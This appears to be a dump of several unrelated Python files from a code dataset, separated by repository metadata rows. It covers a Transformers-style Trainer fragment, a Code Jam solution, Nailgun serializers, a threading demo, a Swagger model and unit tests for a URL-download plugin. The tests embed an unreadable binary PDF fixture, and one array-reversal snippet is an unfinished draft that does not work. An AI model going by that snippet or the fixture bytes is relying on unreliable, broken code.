torch.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME))
else:
if self.do_save_adapters:
self.model.save_all_adapters(output_dir)
if self.do_save_adapter_fusion:
self.model.save_all_adapter_fusions(output_dir)
if self.do_save_full_model:
self.model.save_pretrained(output_dir)
if self.tokenizer is not None and self.is_world_process_zero():
self.tokenizer.save_pretrained(output_dir)
# Good practice: save your training arguments together with the trained model
torch.save(self.args, os.path.join(output_dir, "training_args.bin"))
def store_flos(self):
# Storing the number of floating-point operations that went into the model
if self._total_flos is not None:
if self.args.local_rank != -1:
self.state.total_flos = distributed_broadcast_scalars([self._total_flos]).sum().item()
else:
self.state.total_flos = self._total_flos
def _sorted_checkpoints(self, checkpoint_prefix=PREFIX_CHECKPOINT_DIR, use_mtime=False) -> List[str]:
ordering_and_checkpoint_path = []
glob_checkpoints = [str(x) for x in Path(self.args.output_dir).glob(f"{checkpoint_prefix}-*")]
for path in glob_checkpoints:
if use_mtime:
ordering_and_checkpoint_path.append((os.path.getmtime(path), path))
else:
regex_match = re.match(f".*{checkpoint_prefix}-([0-9]+)", path)
if regex_match and regex_match.groups():
ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path))
checkpoints_sorted = sorted(ordering_and_checkpoint_path)
checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted]
# Make sure we don't delete the best model.
if self.state.best_model_checkpoint is not None:
best_model_index = checkpoints_sorted.index(str(Path(self.state.best_model_checkpoint)))
checkpoints_sorted[best_model_index], checkpoints_sorted[-1] = (
checkpoints_sorted[-1],
checkpoints_sorted[best_model_index],
)
return checkpoints_sorted
def _rotate_checkpoints(self, use_mtime=False) -> None:
if self.args.save_total_limit is None or self.args.save_total_limit <= 0:
return
# Check if we should delete older checkpoint(s)
checkpoints_sorted = self._sorted_checkpoints(use_mtime=use_mtime)
if len(checkpoints_sorted) <= self.args.save_total_limit:
return
number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - self.args.save_total_limit)
checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete]
for checkpoint in checkpoints_to_be_deleted:
logger.info("Deleting older checkpoint [{}] due to args.save_total_limit".format(checkpoint))
shutil.rmtree(checkpoint)
def evaluate(self, eval_dataset: Optional[Dataset] = None) -> Dict[str, float]:
"""
Run evaluation and returns metrics.
The calling script will be responsible for providing a method to compute metrics, as they are task-dependent
(pass it to the init :obj:`compute_metrics` argument).
You can also subclass and override this method to inject custom behavior.
Args:
eval_dataset (:obj:`Dataset`, `optional`):
Pass a dataset if you wish to override :obj:`self.eval_dataset`. If it is an :obj:`datasets.Dataset`,
columns not accepted by the ``model.forward()`` method are automatically removed. It must implement the
:obj:`__len__` method.
Returns:
A dictionary containing the evaluation loss and the potential metrics computed from the predictions. The
dictionary also contains the epoch number which comes from the training state.
"""
if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized):
raise ValueError("eval_dataset must implement __len__")
eval_dataloader = self.get_eval_dataloader(eval_dataset)
output = self.prediction_loop(
eval_dataloader,
description="Evaluation",
# No point gathering the predictions if there are no metrics, otherwise we defer to
# self.args.prediction_loss_only
prediction_loss_only=True if self.compute_metrics is None else None,
)
self.log(output.metrics)
if self.args.tpu_metrics_debug or self.args.debug:
# tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.)
xm.master_print(met.metrics_report())
self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, output.metrics)
return output.metrics
def predict(self, test_dataset: Dataset) -> PredictionOutput:
"""
Run prediction and returns predictions and potential metrics.
Depending on the dataset and your use case, your test dataset may contain labels. In that case, this method
will also return metrics, like in :obj:`evaluate()`.
Args:
test_dataset (:obj:`Dataset`):
Dataset to run the predictions on. If it is an :obj:`datasets.Dataset`, columns not accepted by the
``model.forward()`` method are automatically removed. Has to implement the method :obj:`__len__`
.. note::
If your predictions or labels have different sequence length (for instance because you're doing dynamic
padding in a token classification task) the predictions will be padded (on the right) to allow for
concatenation into one array. The padding index is -100.
Returns: `NamedTuple` A namedtuple with the following keys:
- predictions (:obj:`np.ndarray`): The predictions on :obj:`test_dataset`.
- label_ids (:obj:`np.ndarray`, `optional`): The labels (if the dataset contained some).
- metrics (:obj:`Dict[str, float]`, `optional`): The potential dictionary of metrics (if the dataset
contained labels).
"""
if test_dataset is not None and not isinstance(test_dataset, collections.abc.Sized):
raise ValueError("test_dataset must implement __len__")
test_dataloader = self.get_test_dataloader(test_dataset)
return self.prediction_loop(test_dataloader, description="Prediction")
def prediction_loop(
self, dataloader: DataLoader, description: str, prediction_loss_only: Optional[bool] = None
) -> PredictionOutput:
"""
Prediction/evaluation loop, shared by :obj:`Trainer.evaluate()` and :obj:`Trainer.predict()`.
Works both with or without labels.
"""
if hasattr(self, "_prediction_loop"):
warnings.warn(
"The `_prediction_loop` method is deprecated and won't be called in a future version, define `prediction_loop` in your subclass.",
FutureWarning,
)
return self._prediction_loop(dataloader, description, prediction_loss_only=prediction_loss_only)
if not isinstance(dataloader.dataset, collections.abc.Sized):
raise ValueError("dataset must implement __len__")
prediction_loss_only = (
prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only
)
model = self.model
# multi-gpu eval
if self.args.n_gpu > 1:
model = torch.nn.DataParallel(model)
# Note: in torch.distributed mode, there's no point in wrapping the model
# inside a DistributedDataParallel as we'll be under `no_grad` anyways.
batch_size = dataloader.batch_size
num_examples = self.num_examples(dataloader)
logger.info("***** Running %s *****", description)
logger.info(" Num examples = %d", num_examples)
logger.info(" Batch size = %d", batch_size)
losses_host: torch.Tensor = None
preds_host: Union[torch.Tensor, List[torch.Tensor]] = None
labels_host: Union[torch.Tensor, List[torch.Tensor]] = None
world_size = 1
if is_torch_tpu_available():
world_size = xm.xrt_world_size()
elif self.args.local_rank != -1:
world_size = torch.distributed.get_world_size()
world_size = max(1, world_size)
eval_losses_gatherer = DistributedTensorGatherer(world_size, num_examples, make_multiple_of=batch_size)
if not prediction_loss_only:
preds_gatherer = DistributedTensorGatherer(world_size, num_examples)
labels_gatherer = DistributedTensorGatherer(world_size, num_examples)
model.eval()
if is_torch_tpu_available():
dataloader = pl.ParallelLoader(dataloader, [self.args.device]).per_device_loader(self.args.device)
if self.args.past_index >= 0:
self._past = None
self.callback_handler.eval_dataloader = dataloader
for step, inputs in enumerate(dataloader):
loss, logits, labels = self.prediction_step(model, inputs, prediction_loss_only)
if loss is not None:
losses = loss.repeat(batch_size)
losses_host = losses if losses_host is None else torch.cat((losses_host, losses), dim=0)
if logits is not None:
preds_host = logits if preds_host is None else nested_concat(preds_host, logits, padding_index=-100)
if labels is not None:
labels_host = labels if labels_host is None else nested_concat(labels_host, labels, padding_index=-100)
self.control = self.callback_handler.on_prediction_step(self.args, self.state, self.control)
# Gather all tensors and put them back on the CPU if we have done enough accumulation steps.
if self.args.eval_accumulation_steps is not None and (step + 1) % self.args.eval_accumulation_steps == 0:
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
# Set back to None to begin a new accumulation
losses_host, preds_host, labels_host = None, None, None
if self.args.past_index and hasattr(self, "_past"):
# Clean the state at the end of the evaluation loop
delattr(self, "_past")
# Gather all remaining tensors and put them back on the CPU
eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses"))
if not prediction_loss_only:
preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds"))
labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids"))
eval_loss = eval_losses_gatherer.finalize()
preds = preds_gatherer.finalize() if not prediction_loss_only else None
label_ids = labels_gatherer.finalize() if not prediction_loss_only else None
if self.compute_metrics is not None and preds is not None and label_ids is not None:
metrics = self.compute_metrics(EvalPrediction(predictions=preds, label_ids=label_ids))
else:
metrics = {}
if eval_loss is not None:
metrics["eval_loss"] = eval_loss.mean().item()
# Prefix all keys with eval_
for key in list(metrics.keys()):
if not key.startswith("eval_"):
metrics[f"eval_{key}"] = metrics.pop(key)
return PredictionOutput(predictions=preds, label_ids=label_ids, metrics=metrics)
def _gather_and_numpify(self, tensors, name):
"""
Gather value of `tensors` (tensor or list/tuple of nested tensors) and convert them to numpy before
concatenating them to `gathered`
"""
if tensors is None:
return
if is_torch_tpu_available():
tensors = nested_xla_mesh_reduce(tensors, name)
elif self.args.local_rank != -1:
tensors = distributed_concat(tensors)
return nested_numpify(tensors)
def prediction_step(
self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]], prediction_loss_only: bool
) -> Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]:
"""
Perform an evaluation step on :obj:`model` using obj:`inputs`.
Subclass and override to inject custom behavior.
Args:
model (:obj:`nn.Module`):
The model to evaluate.
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
The dictionary will be unpacked before being fed to the model. Most models expect the targets under the
argument :obj:`labels`. Check your model's documentation for all accepted arguments.
prediction_loss_only (:obj:`bool`):
Whether or not to return the loss only.
Return:
Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: A tuple with the loss, logits and
labels (each being optional).
"""
has_labels = all(inputs.get(k) is not None for k in self.label_names)
inputs = self._prepare_inputs(inputs)
with torch.no_grad():
if self.args.fp16 and _use_native_amp:
with autocast():
outputs = model(**inputs)
else:
outputs = model(**inputs)
if has_labels:
loss = outputs[0].mean().detach()
logits = outputs[1:]
else:
loss = None
# Slicing so we get a tuple even if `outputs` is a `ModelOutput`.
logits = outputs[:]
if self.args.past_index >= 0:
self._past = outputs[self.args.past_index if has_labels else self.args.past_index - 1]
# Remove the past from the logits.
logits = logits[: self.args.past_index - 1] + logits[self.args.past_index :]
if prediction_loss_only:
return (loss, None, None)
logits = nested_detach(logits)
if len(logits) == 1:
logits = logits[0]
if has_labels:
labels = nested_detach(tuple(inputs.get(name) for name in self.label_names))
if len(labels) == 1:
labels = labels[0]
else:
labels = None
return (loss, logits, labels)
def floating_point_ops(self, inputs: Dict[str, Union[torch.Tensor, Any]]):
"""
For models that inherit from :class:`~transformers.PreTrainedModel`, uses that method to compute the number of
floating point operations for every backward + forward pass. If using another model, either implement such a
method in the model or subclass and override this method.
Args:
inputs (:obj:`Dict[str, Union[torch.Tensor, Any]]`):
The inputs and targets of the model.
Returns:
:obj:`int`: The number of floating-point operations.
"""
model = self._actual_model(self.model)
if hasattr(model, "floating_point_ops"):
return model.floating_point_ops(inputs)
else:
return 0
@staticmethod
def _actual_model(
model: Union[torch.nn.DataParallel, torch.nn.parallel.DistributedDataParallel, torch.nn.modules.Module]
) -> torch.nn.modules.Module:
"""
Args:
model: (:obj:`Union[torch.nn.DataParallel, torch.nn.parallel.DistributedDataParallel, torch.nn.modules.Module]`):
Model object used during training
Returns:
:obj:`torch.nn.modules.Module`: unwrapped module
"""
if isinstance(model, torch.nn.DataParallel) or isinstance(model, torch.nn.parallel.DistributedDataParallel):
model = model.module
else:
model = model
return model
| [
"[email protected]"
] | |
efdbbaf125546b22e79da1e189dd44d713d68223 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_2_neat/16_0_2_jolley_Pancakes.py | 0f7c8e1f03d564dbbb9de3c313d22706fa0aea19 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 972 | py | # -*- coding: utf-8 -*-
"""
Created on Sat Apr 9 18:01:19 2016
@author: jo
"""
with open('input', 'r') as f:
cases = 0
case = 0
with open('outputPan', 'w') as fo:
for line in f:
if line[0].isdigit():
cases = int(line)
#print(line)
else:
case +=1
last = True
flips = 0
for c in xrange(len(line)):
positive = True
if line[c] == '-':
positive = False
if c == 0:
last = positive
else:
if positive != last:
flips +=1
if c == (len(line)-1):
if positive != True:
flips += 1
fo.write('Case #' + str(case) + ': ' + str(flips) + '\n')
last = positive
| [
"[[email protected]]"
] | |
b59c437e9488ef3d05b937ed48797e71bc060614 | fe54d59a1a030a9c1395f4f4d3ef2e2b2ec48343 | /build/lib/nailgun/objects/serializers/node.py | a2db68ad18b2230ba9ca3569cf67682031e2d880 | [] | no_license | zbwzy/nailgun | 38a4198a0630a1608c14e55bee03b5ed04ded3e8 | 2eaeece03ebc53f48791db2aa8e7d24c010910f2 | refs/heads/master | 2022-09-25T09:03:33.296368 | 2016-02-23T09:32:55 | 2016-02-23T09:32:55 | 52,345,460 | 0 | 0 | null | 2022-09-16T17:45:43 | 2016-02-23T09:03:07 | Python | UTF-8 | Python | false | false | 2,488 | py | # -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nailgun import consts
from nailgun.objects.serializers.base import BasicSerializer
class NodeSerializer(BasicSerializer):
fields = (
'id',
'name',
'meta',
'progress',
'kernel_params',
'roles',
'pending_roles',
'status',
'mac',
'fqdn',
'ip',
'manufacturer',
'platform_name',
'pending_addition',
'pending_deletion',
'os_platform',
'error_type',
'online',
'cluster',
'network_data',
'group_id',
'node_type'
)
class NodeInterfacesSerializer(BasicSerializer):
nic_fields = (
'id',
'mac',
'name',
'type',
'state',
'current_speed',
'max_speed',
'assigned_networks'
)
bond_fields = (
'mac',
'name',
'type',
'mode',
'state',
'assigned_networks'
)
@classmethod
def serialize_nic_interface(cls, instance, fields=None):
return BasicSerializer.serialize(
instance,
fields=fields if fields else cls.nic_fields
)
@classmethod
def serialize_bond_interface(cls, instance, fields=None):
data_dict = BasicSerializer.serialize(
instance,
fields=fields if fields else cls.bond_fields
)
data_dict['slaves'] = [{'name': slave.name}
for slave in instance.slaves]
return data_dict
@classmethod
def serialize(cls, instance, fields=None):
iface_types = consts.NETWORK_INTERFACE_TYPES
if instance.type == iface_types.ether:
return cls.serialize_nic_interface(instance)
elif instance.type == iface_types.bond:
return cls.serialize_bond_interface(instance)
| [
"[email protected]"
] | |
eeb5c32aeca4c54f2b5c6ffc35714485bb235f96 | 7174b27cd79cad398ffa1add9b59da6e9adbeae4 | /python-100days/day0-15/day13/more_thread2.py | 35152bd4993d043a4da4ce465dc7221aa7d7ba44 | [] | no_license | UULIN/py | ddf037021afce04e46d51c133bfa06257ef7200a | a5d32597fc91fbd5ec41f54fb942c82300766299 | refs/heads/master | 2021-07-18T08:20:49.342072 | 2020-10-21T14:41:42 | 2020-10-21T14:41:42 | 222,977,134 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,226 | py | from time import sleep
from threading import Thread, Lock
class Account(object):
def __init__(self):
self._balance = 0
self._lock = Lock()
def deposit(self, money):
self._lock.acquire()
try:
# 计算存款后的余额
new_balance = self._balance + money
# 模拟受理存款业务需要0.01秒的时间
sleep(0.01)
# 修改账户余额
self._balance = new_balance
finally:
self._lock.release()
@property
def balance(self):
return self._balance
class AddMoneyThread(Thread):
def __init__(self, account, money):
super().__init__()
self._account = account
self._money = money
def run(self):
self._account.deposit(self._money)
def main():
account = Account()
threads = []
# 创建100个存款的线程向同一个账户中存钱
for _ in range(100):
t = AddMoneyThread(account, 1)
threads.append(t)
t.start()
# 等所有存款的线程都执行完毕
for t in threads:
t.join()
print('账户余额为: ￥%d元' % account.balance)
if __name__ == '__main__':
main() | [
"[email protected]"
] | |
ae02b14171429a5182162ab7f4da4271b917afb0 | 5f6c16e89cf58304c2e70f1e34f14110fcec636c | /python-swagger-sdk/swagger_client/models/inline_response2006.py | 07fbec9fdc5ad9c1c909603b3c658606843c2559 | [] | no_license | mohammedpatla/secretapi | 481c97901a5e92ca02e29470ab683df80ea0f26a | df420498bd0ae37fd1a152c3877a1342275a8f43 | refs/heads/master | 2022-12-25T01:55:18.038954 | 2020-10-04T23:13:54 | 2020-10-04T23:13:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,041 | py | # coding: utf-8
"""
API for Secret Network by ChainofSecrets.org
A REST interface for state queries, transaction generation and broadcasting. # noqa: E501
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class InlineResponse2006(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'inflation_rate_change': 'str',
'inflation_max': 'str',
'inflation_min': 'str',
'goal_bonded': 'str',
'unbonding_time': 'str',
'max_validators': 'int',
'bond_denom': 'str'
}
attribute_map = {
'inflation_rate_change': 'inflation_rate_change',
'inflation_max': 'inflation_max',
'inflation_min': 'inflation_min',
'goal_bonded': 'goal_bonded',
'unbonding_time': 'unbonding_time',
'max_validators': 'max_validators',
'bond_denom': 'bond_denom'
}
def __init__(self, inflation_rate_change=None, inflation_max=None, inflation_min=None, goal_bonded=None, unbonding_time=None, max_validators=None, bond_denom=None): # noqa: E501
"""InlineResponse2006 - a model defined in Swagger""" # noqa: E501
self._inflation_rate_change = None
self._inflation_max = None
self._inflation_min = None
self._goal_bonded = None
self._unbonding_time = None
self._max_validators = None
self._bond_denom = None
self.discriminator = None
if inflation_rate_change is not None:
self.inflation_rate_change = inflation_rate_change
if inflation_max is not None:
self.inflation_max = inflation_max
if inflation_min is not None:
self.inflation_min = inflation_min
if goal_bonded is not None:
self.goal_bonded = goal_bonded
if unbonding_time is not None:
self.unbonding_time = unbonding_time
if max_validators is not None:
self.max_validators = max_validators
if bond_denom is not None:
self.bond_denom = bond_denom
@property
def inflation_rate_change(self):
"""Gets the inflation_rate_change of this InlineResponse2006. # noqa: E501
:return: The inflation_rate_change of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_rate_change
@inflation_rate_change.setter
def inflation_rate_change(self, inflation_rate_change):
"""Sets the inflation_rate_change of this InlineResponse2006.
:param inflation_rate_change: The inflation_rate_change of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_rate_change = inflation_rate_change
@property
def inflation_max(self):
"""Gets the inflation_max of this InlineResponse2006. # noqa: E501
:return: The inflation_max of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_max
@inflation_max.setter
def inflation_max(self, inflation_max):
"""Sets the inflation_max of this InlineResponse2006.
:param inflation_max: The inflation_max of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_max = inflation_max
@property
def inflation_min(self):
"""Gets the inflation_min of this InlineResponse2006. # noqa: E501
:return: The inflation_min of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_min
@inflation_min.setter
def inflation_min(self, inflation_min):
"""Sets the inflation_min of this InlineResponse2006.
:param inflation_min: The inflation_min of this InlineResponse2006. # noqa: E501
:type: str
"""
self._inflation_min = inflation_min
@property
def goal_bonded(self):
"""Gets the goal_bonded of this InlineResponse2006. # noqa: E501
:return: The goal_bonded of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._goal_bonded
@goal_bonded.setter
def goal_bonded(self, goal_bonded):
"""Sets the goal_bonded of this InlineResponse2006.
:param goal_bonded: The goal_bonded of this InlineResponse2006. # noqa: E501
:type: str
"""
self._goal_bonded = goal_bonded
@property
def unbonding_time(self):
"""Gets the unbonding_time of this InlineResponse2006. # noqa: E501
:return: The unbonding_time of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._unbonding_time
@unbonding_time.setter
def unbonding_time(self, unbonding_time):
"""Sets the unbonding_time of this InlineResponse2006.
:param unbonding_time: The unbonding_time of this InlineResponse2006. # noqa: E501
:type: str
"""
self._unbonding_time = unbonding_time
@property
def max_validators(self):
"""Gets the max_validators of this InlineResponse2006. # noqa: E501
:return: The max_validators of this InlineResponse2006. # noqa: E501
:rtype: int
"""
return self._max_validators
@max_validators.setter
def max_validators(self, max_validators):
"""Sets the max_validators of this InlineResponse2006.
:param max_validators: The max_validators of this InlineResponse2006. # noqa: E501
:type: int
"""
self._max_validators = max_validators
@property
def bond_denom(self):
"""Gets the bond_denom of this InlineResponse2006. # noqa: E501
:return: The bond_denom of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._bond_denom
@bond_denom.setter
def bond_denom(self, bond_denom):
"""Sets the bond_denom of this InlineResponse2006.
:param bond_denom: The bond_denom of this InlineResponse2006. # noqa: E501
:type: str
"""
self._bond_denom = bond_denom
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(InlineResponse2006, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, InlineResponse2006):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
] | |
eccf709bc85d1da00c645964d906df42ca0dd0af | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/reverseA_20200714202827.py | c8528cea3532a5e29a64703e1b1f20412489e57a | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 282 | py | '''
Given array A consisting of N integers, return the reversed array
'''
def array(arr):
i = 0
j = len(arr)-1
while i < len(arr)-2 and j > 0:
temp = arr[i]
arr[i] = arr[j]
arr[j] = temp
i +=1
j -=1
arr([1, 2, 3, 4, 5, 6])
| [
"[email protected]"
] | |
c2901094b0c4b4a53907e0010cd8c43666a720bb | c9500ad778b8521aaa85cb7fe3239989efaa4799 | /plugins/get_url/unit_test/test_get_file.py | 1b7ecf108a88e562d02711af4289979fc0778ff2 | [
"MIT"
] | permissive | rapid7/insightconnect-plugins | 5a6465e720f114d71b1a82fe14e42e94db104a0b | 718d15ca36c57231bb89df0aebc53d0210db400c | refs/heads/master | 2023-09-01T09:21:27.143980 | 2023-08-31T10:25:36 | 2023-08-31T10:25:36 | 190,435,635 | 61 | 60 | MIT | 2023-09-14T08:47:37 | 2019-06-05T17:05:12 | Python | UTF-8 | Python | false | false | 37,536 | py | import os
import sys
from unit_test.util import Util
sys.path.append(os.path.abspath("../"))
from unittest import TestCase
from komand_get_url.actions.get_file import GetFile
from komand_get_url.actions.get_file.schema import Input
from unittest.mock import patch
from insightconnect_plugin_runtime.exceptions import PluginException
sys.path.append(os.path.abspath("../"))
@patch("urllib.request.urlopen", side_effect=Util.mocked_request)
@patch("insightconnect_plugin_runtime.helper.open_cachefile", side_effect=Util.mock_for_cache_creation)
@patch("komand_get_url.util.utils.Utils.create_url_meta_file")
class TestGetFile(TestCase):
@classmethod
def setUpClass(cls) -> None:
cls.action = Util.default_connector(GetFile())
def test_get_pdf_file(self, mock_get, mock_create_url, mock_cach):
actual = self.action.run({Input.URL: "https://test.com/v1/test.pdf", Input.IS_VERIFY: False})
expected = {
"bytes": "%PDF-1.5
%����
3 0 obj
<< /Linearized 1 /L 15007 /H [ 678 125 ] /O 7 /E 14477 /N 1 /T 14726 >>
endobj
                                                                                                                 
4 0 obj
<< /Type /XRef /Length 50 /Filter /FlateDecode /DecodeParms << /Columns 4 /Predictor 12 >> /W [ 1 2 1 ] /Index [ 3 14 ] /Info 1 0 R /Root 5 0 R /Size 17 /Prev 14727                 /ID [<4dac181eb10e569cb7930abd3bbd36e1><f8f4a6b9f7562a333372614367963140>] >>
stream
x�cbd�g`b`8	$��XF@���*��	=��.�w 	F4 �.
endstream
endobj
                                                                     
5 0 obj
<< /Pages 14 0 R /Type /Catalog >>
endobj
6 0 obj
<< /Filter /FlateDecode /S 36 /Length 48 >>
stream
x�c```e``Z� �Yp e31B�����R���v�a  ���
endstream
endobj
7 0 obj
<< /Contents 8 0 R /MediaBox [ 0 0 595.276 841.89 ] /Parent 14 0 R /Resources 12 0 R /Type /Page >>
endobj
8 0 obj
<< /Filter /FlateDecode /Length 118 >>
stream
x�mͻ�0F�=O�b��iV$��C����P���S.#�w��1�ڡP��KO6t��3CY�Cw[�2tO�=E
 �����Bu��M���4����!$ePH�^�� or[s/��"�
endstream
endobj
9 0 obj
<< /Filter /FlateDecode /Length1 1578 /Length2 10778 /Length3 0 /Length 11818 >>
stream
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]�v��m�췱����e⤊�s>��t��*�br�*�=�Yh�PQ��m�A_	W�)��`�i��<ܪx+]�M.j�����;Y�!zCCU�&��OM�^a�E��TM��*U�v�N�RHLM�s�t� n<6|�n���NU ��kID��x/��1+��V+���D�`��b��n��v�'O@~�#�Ǆ��g^]˚a�5���N�i|���)~�"�j.�����/O���7�hTkmD��"C�,��+Zb]��Vq���{���[�,TQ�]�.�
��H��Du��m�"?��:m�T��/�Ķ��~u��/�n��[��ZĂe�c��ٱ�;U��$ �۔��s����.�C*�?GA�Q�0T�M{��cԲ9S���9��2�3�����L���\��]ĸ�>:͡�F��Y�j��i���ΔoWU|6�B)f�
�����V}9,ĺ����~C�N������ ��p��jo�L�sX����[�uwa��Z����N�F�8��!;�m"=~��)�I79����:�k ])=�<k���U���V��U`��O;�"́UD���w�c�uz%��M�?s~#|�~�i��'@�� �C���8z�җ�4ԒV9�p��r�P�5�Y�|���ԭ�Y"�%F���:���l�� .a/`�㘂9����tR��h�����	�%D*���K����';��c=�����U�o��ʔ��ϙ��?��һy��═��l\�a�����p���ٷQ�`�m�$�Wgq�У(L6 @2�M�[ό�͋��~�<���֎E..��F�c��N���5ȵ��쯖~�>ҭ��T��Ѝ���1�h*�e}@LQ�#�R��y����o�ϮM�~Ę���<Y�L���}HE�h~�D(�г(��L���iw)t��vm�6��t�A3�*T�1������偞�Jw�<����+n�@\4Q�uX^:�OD�����>#|�n�q~�~�$�fќ��9�#�AdЍ�C�RV���t�����n|��7�y�o
֢��\�q��eE1�����߻�a���f��!U���n�_rD���D#=�;����n�(% ��^VCy�T����-y���h�c������ �$�&m��am9�,�݈��А�<���Ɍ
I�p�z�c�Ĕ9���=]n��1=�؜y���h!�&�8�Hn�:�τR��S������9�x_�q6&ߪo��ٷ/ܽ&��gT�ĵ �I���P49$��IE��ۨ�`i-�fo��|-�TRntC$E��[���0�^?�NDJ�˴��N�ة}�i� ;�K O\�;K^
�������{m�cz53c!�?*�0��5�}'*RH��3�U`��J�[١���`��9��?�Bj�F�����0HzB=U/���,Wh�gQj��X�ڥ<A��
�x"\��s���8�6)�*�ړ}4	�ˁc����;>|��U6\�J6J�j��L�45e2Q�,�#��]$����HU!�3-b�kJ����US�<���������+rZ`􇻖Z#��
|�}��{�f*1��@�i��ID~�B�UA�Ɛ�b��<�)��g��ܾ2�,Z��;WH���bGiI��,�7�&ͦ�Yds�M���X��$F̯q7c�~o3s�6�ְպTdb�_�G$fxF[��Y�	�fsx
��k5^�? v;����c�]�z����o�\���߉��|�2+�I�]JZ
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ѯ�q-���Gi�}r�+���S���W�� \�����m
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%%EOF
",
"status_code": 200,
}
self.assertEqual(actual, expected)
def test_get_txt_file(self, mock_get, mock_create_url, mock_cach):
actual = self.action.run({Input.URL: "https://test.com/v1/test.txt", Input.IS_VERIFY: False})
expected = {
"bytes": "dGVzdAp0ZXN0IGZpbGUKc29tZSB0ZXN0IGRhdGE=",
"status_code": 200,
}
self.assertEqual(actual, expected)
def test_get_txt_file_with_checksum(self, mock_get, mock_create_url, mock_cach):
actual = self.action.run(
{
Input.URL: "https://test.com/v1/test.txt",
Input.CHECKSUM: "5084335576ea9ec4e9d1dcd7536dec3713b3a57a",
Input.IS_VERIFY: False,
}
)
expected = {
"bytes": "dGVzdAp0ZXN0IGZpbGUKc29tZSB0ZXN0IGRhdGE=",
"status_code": 200,
}
self.assertEqual(actual, expected)
def test_get_txt_file_with_bad_checksum(self, mock_get, mock_create_url, mock_cach):
with self.assertRaises(PluginException) as context:
self.action.run(
{
Input.URL: "https://test.com/v1/test.txt",
Input.CHECKSUM: "5084335576ea9ec4e9d1dcd7536dec3713b3a57aa",
Input.IS_VERIFY: False,
}
)
self.assertEqual(
"Checksums between the downloaded file and provided checksum did not match.", context.exception.cause
)
self.assertEqual(
"Verify the file you meant to download and the checksum you provided are correct.",
context.exception.assistance,
)
@patch("insightconnect_plugin_runtime.helper.open_url", side_effect=Util.mocked_url_open)
def test_is_verify(self, mock_get, mock_request, mock_create_url_meta, mock_open_cache):
actual = self.action.run({Input.URL: "https://test.com/v1/test.txt", Input.IS_VERIFY: True})
self.assertTrue(mock_get.call_args_list[0][1].get("verify"))
| [
"[email protected]"
] | |
